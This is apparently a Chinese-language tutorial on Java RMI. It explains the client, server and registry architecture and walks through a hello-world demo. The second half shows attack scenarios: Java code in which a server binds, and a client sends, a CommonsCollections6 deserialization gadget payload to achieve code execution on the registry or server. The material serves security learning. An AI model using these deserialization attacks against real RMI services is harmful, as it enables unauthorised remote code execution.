RMI基本概念
RMI(Remote Method Invocation) Java远程方法调用
能够从一个java虚拟机上的对象调用另外一个java虚拟机上的对象的方法 使用JRMP协议进行通信
RMI分为三层架构模式:客户端(Client),服务端(Server),注册中心(Registry)
这些架构的组成部分:
客户端
Stub(存根):远程对象在客户端上的代理 ,主要功能是请求远程方法时构造一个信息块,RMI协议会把这个信息块发送给Server端
Remote Reference Layer(远程引用层):解析并执行远程引用协议
Transport(传输层):发送调用,传递远程方法参数,接受远程方法执行结果
服务端
Skeleton(骨架):读取客户端传递的方法参数,调用服务器方的实际对象方法,并接受执行方法后的返回值
Remote Reference Layer(远程引用层):处理远程引用后向骨架发送远程方法调用
Transport(传输层):监听客户端的入站连接,接受并转发调用到远程引用层
注册中心
是一个Map,键为名字,值为对象
以URL形式远程注册对象,并通过名字向客户端回复对远程相应对象的引用
调用流程
Server部署
Server向Registry注册远程对象,形成一个映射表 Name-Stub
Client调用
1.Client获取stub中的host和port信息,序列化请求数据后连接到Registry
2.Registry接受请求,把请求调度到Remote Object上,将调用的结果进行序列化,返回给Client
3.Client反序列化执行结果,返回给调用器
Demo
Server
一个继承了Remote接口的接口 IRemoteObj
:
public interface IRemoteObj extends Remote {
public String SayHello(String name) throws RemoteException;
}
一个继承了UnicastRemoteObject类并实现了IRemoteObj接口的类 RemoteObjImpl
即我们要注册的远程对象
必须实现Remote接口和继承UnicastRemoteObject
UnicastRemoteObject用于将这个对象广播出去
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
protected RemoteObjImpl() throws RemoteException {
}
@Override
public String SayHello(String name) throws RemoteException {
String greet = "Hello," + name;
System.out.println(greet);
return greet;
}
}
类RMIServer
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}
LocateRegistry.createRegistry 启动注册网关监听给定的地址
r.bind("remoteObj",remoteObj) 向注册中心发送一个bind请求
在注册中心保存为 "remoteObj"(Name) - remoteObj(远程对象)的键值对
Client客户端
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); //此时remoteObj是一个stub,并未存储这个对象的实际方法实现
remoteObj.SayHello("Xux");
String[] str = Naming.list("rmi://127.0.0.1:1099");
for(int i = 0;i < str.length;i++){
System.out.println(str[i]);
}
}
}
以及一个和服务端一样的IRemoteObj接口
运行后在服务端执行代码,输出"Hello,Xux"
Naming.list可以列出registry的所有条目
攻击场景
服务端攻击注册中心
服务端攻击注册中心:
Registry代码:
package com.Registry;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class Registry {
public static void main(String[] args) throws RemoteException {
LocateRegistry.createRegistry(1099);
System.out.println("Registry is running...");
while (true);
}
}
Server代码:
package com.Server;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.Remote;
public class RMIServer {
public static void main(String[] args) throws IOException, AlreadyBoundException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
CC6 expObj = new CC6();
Naming.bind("expObj",new BindExploit(expObj.payload));
}
private static class BindExploit implements Serializable, Remote
{
private final Object memberValues;
private BindExploit(Object payload) {
this.memberValues = payload;
}
}
}
客户端攻击服务端
Server代码:
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
IRemoteObj remoteObj = new RemoteObjImpl();
Naming.bind("remoteObj",remoteObj);
System.out.println("Server is running...");
}
}
RemoteObjImpl:
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
protected RemoteObjImpl() throws RemoteException {
}
@Override
public String SayHello(Object name) throws RemoteException {
String greet = "Hello," + name;
System.out.println(greet);
return greet;
}
}
SayHello的参数类型需要是Object
Client代码:
public class RMIClient {
public static void main(String[] args) throws IOException, NotBoundException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
IRemoteObj remoteObj = (IRemoteObj) Naming.lookup("remoteObj");
CC6 cc6 = new CC6();
remoteObj.SayHello(cc6.getPayload());
}
}
运行Registry,Server,再运行Client